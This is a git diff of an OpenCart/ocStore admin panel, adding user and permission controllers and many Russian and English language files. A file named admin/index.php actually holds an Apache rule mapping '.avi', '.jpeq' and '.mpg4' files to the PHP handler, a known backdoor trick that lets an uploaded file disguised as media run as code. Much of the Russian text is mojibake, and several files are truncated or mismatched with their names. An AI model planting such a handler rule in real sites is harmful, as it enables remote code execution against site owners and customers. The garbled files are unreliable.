+ if (isset($this->request->post['firstname'])) {
+ $data['firstname'] = $this->request->post['firstname'];
+ } elseif (!empty($user_info)) {
+ $data['firstname'] = $user_info['firstname'];
+ } else {
+ $data['firstname'] = '';
+ }
+
+ if (isset($this->request->post['lastname'])) {
+ $data['lastname'] = $this->request->post['lastname'];
+ } elseif (!empty($user_info)) {
+ $data['lastname'] = $user_info['lastname'];
+ } else {
+ $data['lastname'] = '';
+ }
+
+ if (isset($this->request->post['email'])) {
+ $data['email'] = $this->request->post['email'];
+ } elseif (!empty($user_info)) {
+ $data['email'] = $user_info['email'];
+ } else {
+ $data['email'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($user_info)) {
+ $data['image'] = $user_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($user_info) && $user_info['image'] && is_file(DIR_IMAGE . $user_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($user_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($user_info)) {
+ $data['status'] = $user_info['status'];
+ } else {
+ $data['status'] = 0;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['username']) < 3) || (utf8_strlen($this->request->post['username']) > 20)) {
+ $this->error['username'] = $this->language->get('error_username');
+ }
+
+ $user_info = $this->model_user_user->getUserByUsername($this->request->post['username']);
+
+ if (!isset($this->request->get['user_id'])) {
+ if ($user_info) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+ } else {
+ if ($user_info && ($this->request->get['user_id'] != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_username');
+ }
+ }
+
+ if ((utf8_strlen(trim($this->request->post['firstname'])) < 1) || (utf8_strlen(trim($this->request->post['firstname'])) > 32)) {
+ $this->error['firstname'] = $this->language->get('error_firstname');
+ }
+
+ if ((utf8_strlen(trim($this->request->post['lastname'])) < 1) || (utf8_strlen(trim($this->request->post['lastname'])) > 32)) {
+ $this->error['lastname'] = $this->language->get('error_lastname');
+ }
+
+ if ((utf8_strlen($this->request->post['email']) > 96) || !filter_var($this->request->post['email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ $user_info = $this->model_user_user->getUserByEmail($this->request->post['email']);
+
+ if (!isset($this->request->get['user_id'])) {
+ if ($user_info) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+ } else {
+ if ($user_info && ($this->request->get['user_id'] != $user_info['user_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists_email');
+ }
+ }
+
+ if ($this->request->post['password'] || (!isset($this->request->get['user_id']))) {
+ if ((utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) < 4) || (utf8_strlen(html_entity_decode($this->request->post['password'], ENT_QUOTES, 'UTF-8')) > 40)) {
+ $this->error['password'] = $this->language->get('error_password');
+ }
+
+ if ($this->request->post['password'] != $this->request->post['confirm']) {
+ $this->error['confirm'] = $this->language->get('error_confirm');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/user')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['selected'] as $user_id) {
+ if ($this->user->getId() == $user_id) {
+ $this->error['warning'] = $this->language->get('error_account');
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/user/user_permission.php b/public/admin/controller/user/user_permission.php
new file mode 100644
index 0000000..7384755
--- /dev/null
+++ b/public/admin/controller/user/user_permission.php
@@ -0,0 +1,429 @@
+load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user_group->addUserGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_user_user_group->editUserGroup($this->request->get['user_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('user/user_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('user/user_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $user_group_id) {
+ $this->model_user_user_group->deleteUserGroup($user_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('user/user_permission/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('user/user_permission/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $user_group_total = $this->model_user_user_group->getTotalUserGroups();
+
+ $results = $this->model_user_user_group->getUserGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['user_groups'][] = array(
+ 'user_group_id' => $result['user_group_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('user/user_permission/edit', 'user_token=' . $this->session->data['user_token'] . '&user_group_id=' . $result['user_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $user_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($user_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($user_group_total - $this->config->get('config_limit_admin'))) ? $user_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $user_group_total, ceil($user_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['user_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['user_group_id'])) {
+ $data['action'] = $this->url->link('user/user_permission/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('user/user_permission/edit', 'user_token=' . $this->session->data['user_token'] . '&user_group_id=' . $this->request->get['user_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['user_group_id']) && $this->request->server['REQUEST_METHOD'] != 'POST') {
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->request->get['user_group_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($user_group_info)) {
+ $data['name'] = $user_group_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ $ignore = array(
+ 'common/dashboard',
+ 'common/startup',
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'common/footer',
+ 'common/header',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ $data['hiden'] = array();
+ $data['permissions'] = array();
+
+ $files = array();
+
+ // Make path into an array
+ $path = array(DIR_APPLICATION . 'controller/*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ if (is_file($file)) {
+ $files[] = $file;
+ }
+ }
+ }
+
+ // Sort the file array
+ sort($files);
+
+ foreach ($files as $file) {
+ $controller = substr($file, strlen(DIR_APPLICATION . 'controller/'));
+
+ $permission = substr($controller, 0, strrpos($controller, '.'));
+
+ $hidefiles = explode("/", $permission);
+
+ if ($hidefiles[1] == "module" or $hidefiles[1] == "payment" or $hidefiles[1] == "shipping") {
+ if (!in_array($permission, $ignore)) {
+ $data['hiden'][] = $permission;
+ }
+ }
+ if (!in_array($permission, $ignore)) {
+ $data['permissions'][] = $permission;
+ }
+ }
+
+ if (isset($this->request->post['permission']['hiden'])) {
+ $data['ishide'] = $this->request->post['permission']['hiden'];
+ } elseif (isset($user_group_info['permission']['hiden'])) {
+ $data['ishide'] = $user_group_info['permission']['hiden'];
+ } else {
+ $data['ishide'] = array();
+ }
+
+
+ if (isset($this->request->post['permission']['access'])) {
+ $data['access'] = $this->request->post['permission']['access'];
+ } elseif (isset($user_group_info['permission']['access'])) {
+ $data['access'] = $user_group_info['permission']['access'];
+ } else {
+ $data['access'] = array();
+ }
+
+ if (isset($this->request->post['permission']['modify'])) {
+ $data['modify'] = $this->request->post['permission']['modify'];
+ } elseif (isset($user_group_info['permission']['modify'])) {
+ $data['modify'] = $user_group_info['permission']['modify'];
+ } else {
+ $data['modify'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('user/user_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'user/user_permission')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'user/user_permission')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('user/user');
+
+ foreach ($this->request->post['selected'] as $user_group_id) {
+ $user_total = $this->model_user_user->getTotalUsersByGroupId($user_group_id);
+
+ if ($user_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_user'), $user_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/index.php b/public/admin/index.php
new file mode 100644
index 0000000..cf53653
--- /dev/null
+++ b/public/admin/index.php
@@ -0,0 +1,22 @@
+
+ Order allow,deny
+ Deny from all
+
+AddHandler application/x-httpd-php .avi .jpeq .mpg4
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/blog/article.php b/public/admin/language/ru-ru/blog/article.php
new file mode 100644
index 0000000..b01e073
--- /dev/null
+++ b/public/admin/language/ru-ru/blog/article.php
@@ -0,0 +1,58 @@
+ ÐŸÐ¾Ð²Ñ‚Ð¾Ñ€ÐµÐ½Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчета раÑчитываютÑÑ Ð¿ÑƒÑ‚ÐµÐ¼ ÑƒÐ¼Ð½Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ‡Ð°Ñтоты на цикл.
Ðапример, еÑли вы иÑпользуете чаÑтоту "неделÑ" и цикл "2", то пользователю будет выÑтавлен Ñчет каждые 2 недели.
ПродолжительноÑть - количеÑтво оплат, которые пользователь должен Ñделать. УÑтановите в 0, еÑли Ð’Ñ‹ захотите отменить платежи.
';
+$_['text_profile'] = 'РегулÑрный платеж';
+$_['text_trial'] = 'Триал профиль';
+
+// Entry
+$_['entry_name'] = 'Ðазвание';
+$_['entry_price'] = 'Цена';
+$_['entry_duration'] = 'ПродолжительноÑть';
+$_['entry_cycle'] = 'Цикл';
+$_['entry_frequency'] = 'ЧаÑтота';
+$_['entry_trial_price'] = 'Цена';
+$_['entry_trial_duration'] = 'ПродолжительноÑть';
+$_['entry_trial_status'] = 'СтатуÑ';
+$_['entry_trial_cycle'] = 'Цикл';
+$_['entry_trial_frequency'] = 'ЧаÑтота';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+
+// Column
+$_['column_name'] = 'Ðазвание';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 255 Ñимволов!';
+$_['error_product'] = 'Профиль Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, так как он иÑпользуетÑÑ Ð² %s товарах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/catalog/review.php b/public/admin/language/ru-ru/catalog/review.php
new file mode 100644
index 0000000..096f80e
--- /dev/null
+++ b/public/admin/language/ru-ru/catalog/review.php
@@ -0,0 +1,39 @@
+ocStore © 2009-' . date('Y') . ' Ð’Ñе права защищены.';
+$_['text_version'] = 'ВерÑÐ¸Ñ ocStore %s МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð²Ð¾Ð´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ñть TurboHost.pro ';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/common/forgotten.php b/public/admin/language/ru-ru/common/forgotten.php
new file mode 100644
index 0000000..e225761
--- /dev/null
+++ b/public/admin/language/ru-ru/common/forgotten.php
@@ -0,0 +1,22 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/custommenu.php b/public/admin/language/ru-ru/design/custommenu.php
new file mode 100644
index 0000000..07faf39
--- /dev/null
+++ b/public/admin/language/ru-ru/design/custommenu.php
@@ -0,0 +1,56 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/theme.php b/public/admin/language/ru-ru/design/theme.php
new file mode 100644
index 0000000..92fdcbc
--- /dev/null
+++ b/public/admin/language/ru-ru/design/theme.php
@@ -0,0 +1,26 @@
+СинтакÑÐ¸Ñ Twig тут.';
+
+// Column
+$_['column_store'] = 'Магазин';
+$_['column_route'] = 'Путь';
+$_['column_theme'] = 'Шаблон';
+$_['column_date_added'] = 'Дата добавлениÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_twig'] = 'Ð’Ñ‹ можете ÑохранÑть только файлы .twig!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/design/translation.php b/public/admin/language/ru-ru/design/translation.php
new file mode 100644
index 0000000..f280a71
--- /dev/null
+++ b/public/admin/language/ru-ru/design/translation.php
@@ -0,0 +1,35 @@
+ Localisation > Languages / Currencies';
+$_['help_gender'] = 'Specify the gender your product is designed for using the gender attribute. When you provide this information, potential customers can accurately filter products by gender to help narrow their search. Keep in mind that Google also uses the gender information together with the values you provide for Size and Age Group to standardize the sizes that are shown to users.';
+$_['help_google_product_category'] = 'Use the this attribute to indicate the category of your item based on the Google product taxonomy. Categorizing your product helps ensure that your ad is shown with the right search results.';
+$_['help_is_bundle'] = 'Use the Bundle attribute to indicate that you've created a bundle: a main product that you've grouped with other, different products, sold together as one package for a single price. This attribute lets Google show your ad in the right situations by distinguishing your item from manufacturer-created bundles, multipacks, and other products without accessories.';
+$_['help_local_cron'] = 'This method is recommended. Insert this command in your web server CRON tab. Set it up to run every hour.';
+$_['help_multipack'] = 'Use the Multipack attribute to indicate that you've grouped multiple identical products for sale as one item. This attribute lets Google show your ad in the right situations by distinguishing your item from manufacturer-created multipacks, bundles, and other products.';
+$_['help_remote_cron'] = 'Use this method in case Method #1 cannot be used. Use this URL to set up a CRON task via a web-based CRON service. Set it up to run every hour.';
+$_['help_roas'] = 'Target ROAS lets you bid based on a target return on ad spend (ROAS). This Google Ads Smart Bidding strategy helps you get more conversion value or revenue at the target return-on-ad-spend (ROAS) you set. Your bids are automatically optimized at auction-time, allowing you to tailor bids for each auction.';
+$_['help_size'] = 'Use the size attribute to describe the standardized size of your product. When you use this attribute, your ad can appear in results that are filtered by size. The size you submit will also affect how your product variants are shown.';
+$_['help_size_system'] = 'With this attribute you can explain which country's sizing system your product uses. This information helps create accurate filters, which users can use to narrow search results. The sizing system that you submit will affect search, filtering, and how variants are shown in your ad.';
+$_['help_size_type'] = 'Use this attribute to describe the cut of your product. This information helps create accurate filters, which users can use to narrow search results.';
+
+// Entry
+$_['entry_action'] = 'Action';
+$_['entry_adult'] = 'Adult-Only Content';
+$_['entry_age_group'] = 'Age Group';
+$_['entry_auto_advertise'] = 'Automatically advertise new listings?';
+$_['entry_budget'] = 'Daily Campaign Budget';
+$_['entry_campaign'] = 'Smart Shopping Ad Campaigns';
+$_['entry_campaign_name'] = 'Campaign Name';
+$_['entry_color'] = 'Color Option';
+$_['entry_condition'] = 'Condition';
+$_['entry_country'] = 'Target Country';
+$_['entry_feed'] = 'Product Feeds';
+$_['entry_gender'] = 'Gender';
+$_['entry_google_product_category'] = 'Google Product Category';
+$_['entry_is_bundle'] = 'Bundle';
+$_['entry_max_transit_time'] = 'Maximum Transit Time (days)';
+$_['entry_min_transit_time'] = 'Minimum Transit Time (days)';
+$_['entry_multipack'] = 'Multipack (number of items in a single package)';
+$_['entry_oc_category'] = 'OpenCart Category (autocomplete)';
+$_['entry_roas'] = 'ROAS';
+$_['entry_setup_confirmation'] = 'Setup Confirmation';
+$_['entry_size'] = 'Size Option';
+$_['entry_size_system'] = 'Size System';
+$_['entry_size_type'] = 'Size Type';
+$_['entry_status'] = 'Status';
+
+// Texts
+$_['text_access_token'] = 'Access token';
+$_['text_acknowledge_add_campaign_1'] = 'I acknowledge that my campaigns will not become active until my product feeds get approved according to the Google Merchant Center requirements .';
+$_['text_acknowledge_add_campaign_2'] = 'I acknowledge that my campaigns will not become active until I set up Shipping and Tax (only in the US) details for my Merchant Center account.';
+$_['text_acknowledge_cron'] = 'I confirm that I have set up an automated CRON task using one of the methods above.';
+$_['text_acknowledge_merchant_tos'] = 'By purchasing Google Shopping ads, I agree to comply with Google's terms and policies, including Google's Merchant Center terms of service , Shopping ads policies , and Google Ads Terms and Conditions .';
+$_['text_action'] = 'Action';
+$_['text_active'] = 'Active';
+$_['text_active_states'] = 'Select active states';
+$_['text_add_target'] = 'New Campaign';
+$_['text_ads_intro'] = 'Important To have your products accepted by Google Merchant Center, please make sure to follow these requirements:
';
+$_['text_advertise'] = 'Advertise';
+$_['text_age_group_adult'] = 'Adult (teens or older)';
+$_['text_age_group_infant'] = 'Infant (3-12 months old)';
+$_['text_age_group_kids'] = 'Kids (6-13 years old)';
+$_['text_age_group_newborn'] = 'Newborn (0-2 months old)';
+$_['text_age_group_toddler'] = 'Toddler (1-5 years old)';
+$_['text_all'] = 'All';
+$_['text_app_id'] = 'App ID';
+$_['text_app_secret'] = 'App Secret';
+$_['text_approved'] = 'Approved';
+$_['text_campaign_more_info'] = 'Campaign Duration Campaigns will run until paused. You can pause a campaign at any time.
Campaign Optimization It usually takes around 30 days for Google to rank products and optimize shopping ad campaigns.
Products in Campaign Google will create a unique shopping ad for each approved product synced to your Merchant Center account. Ads are optimized based to maximize your sales. Popular products will likely receive more of your budget.
Campaign Duration Campaigns will run until paused. You can pause a campaign at any time.
Shopping Ad Placement Your ads may appear on multiple platforms including Google Search, Google Display Network, Youtube, and Gmail.
';
+$_['text_campaigns'] = 'Campaigns';
+$_['text_carrier_postcode'] = 'Origin Postal Code';
+$_['text_carrier_price_percentage'] = 'Price Percentage';
+$_['text_checklist_acknowledge_0'] = 'ВидимоÑть каталога товаров Я подтверждаю, что мой каталог товаров общедоÑтупен без необходимоÑти ввода паролÑ.
';
+$_['text_checklist_acknowledge_1'] = 'БезопаÑный процеÑÑ Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÐ°Ð·Ð° Обработка платежей и транзакций, а также Ñбор любой конфиденциальной и финанÑовой информации от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¾ÑущеÑтвлÑетÑÑ Ñ‡ÐµÑ€ÐµÐ· безопаÑный Ñервер обработки (защищенный SSL, Ñ Ð´ÐµÐ¹Ñтвующим Ñертификатом SSL - https: //).
';
+$_['text_checklist_acknowledge_2'] = 'Политика возврата Я подтверждаю, что мой веб-Ñайт предоÑтавлÑет пользователÑм четкую и понÑтную политику возврата.
';
+$_['text_checklist_acknowledge_3'] = 'УÑÐ»Ð¾Ð²Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчетов и оплаты Я подтверждаю, что мой веб-Ñайт предоÑтавлÑет четкие и понÑтные уÑÐ»Ð¾Ð²Ð¸Ñ Ð²Ñ‹ÑÑ‚Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñчетов и оплаты.
';
+$_['text_checklist_acknowledge_4'] = 'ДоÑÑ‚Ð¾Ð²ÐµÑ€Ð½Ð°Ñ ÐºÐ¾Ð½Ñ‚Ð°ÐºÑ‚Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¯ подтверждаю, что мой веб-Ñайт отображает доÑтаточную и точную контактную информацию Ñ ÐºÐ°Ðº минимум Ð´Ð²ÑƒÐ¼Ñ Ð¸Ð· Ñледующего: номер телефона, физичеÑкий адреÑ, Ð°Ð´Ñ€ÐµÑ Ñлектронной почты.
';
+$_['text_checklist_intro'] = 'Важно Прежде чем вы Ñможете размещать рекламу в Google, ваш интернет-магазин должен ÑоответÑтвовать требованиÑм Google Merchant Center. Полный ÑпиÑок вÑех требований и рекомендаций можно найти здеÑÑŒ .';
+$_['text_clicks'] = 'Clicks';
+$_['text_color'] = 'Color';
+$_['text_condition_new'] = 'New';
+$_['text_condition_refurbished'] = 'Refurbished';
+$_['text_condition_used'] = 'Used';
+$_['text_connect_intro'] = 'Your Google Shopping extension is not yet connected. Please go to the Google Shopping for OpenCart website to obtain an App ID and App Secret.';
+$_['text_connected'] = 'Connected with Merchant ID %s ';
+$_['text_connecting'] = 'Connecting...';
+$_['text_connection'] = 'Connection';
+$_['text_conversion_value'] = 'Conversion Value';
+$_['text_conversions'] = 'Conversions';
+$_['text_cost'] = 'Cost';
+$_['text_critical'] = 'Critical';
+$_['text_cron_email'] = 'Send Summary to E-Mail';
+$_['text_cron_email_status'] = 'Send E-Mail Summary';
+$_['text_cron_info'] = 'Please make sure to set up a CRON task executing each hour using one of the methods below. Method #1 is recommended. CRON jobs help you with: • Periodic syncing of your OpenCart catalog with Google Merchant Center • Automatic fetching of product statuses and product reports';
+$_['text_cron_settings'] = 'CRON Settings';
+$_['text_data_quality_issues'] = 'Data Quality Issues';
+$_['text_debug_log'] = 'Debug Logging';
+$_['text_destination_status'] = 'Status';
+$_['text_disabled'] = 'Disabled';
+$_['text_disapproved'] = 'Disapproved';
+$_['text_disconnect_reminder'] = 'Even if you decide to disconnect this OpenCart extension, you will still have access to your Merchant Center account. It will not get deleted. Disconnecting will do the following:Disable this extension Remove all active campaigns Delete all datafeeds in the linked Google Merchant Center account Remove any links between your existing Google Merchant Center account and OpenCart. ';
+$_['text_disconnecting_please_wait'] = 'Disconnecting...';
+$_['text_does_not_apply'] = '-- Does not apply --';
+$_['text_download_debug_log'] = 'Download Debug Log';
+$_['text_edit_target'] = 'Edit Campaign: %s';
+$_['text_enabled'] = 'Enabled';
+$_['text_error'] = 'Error';
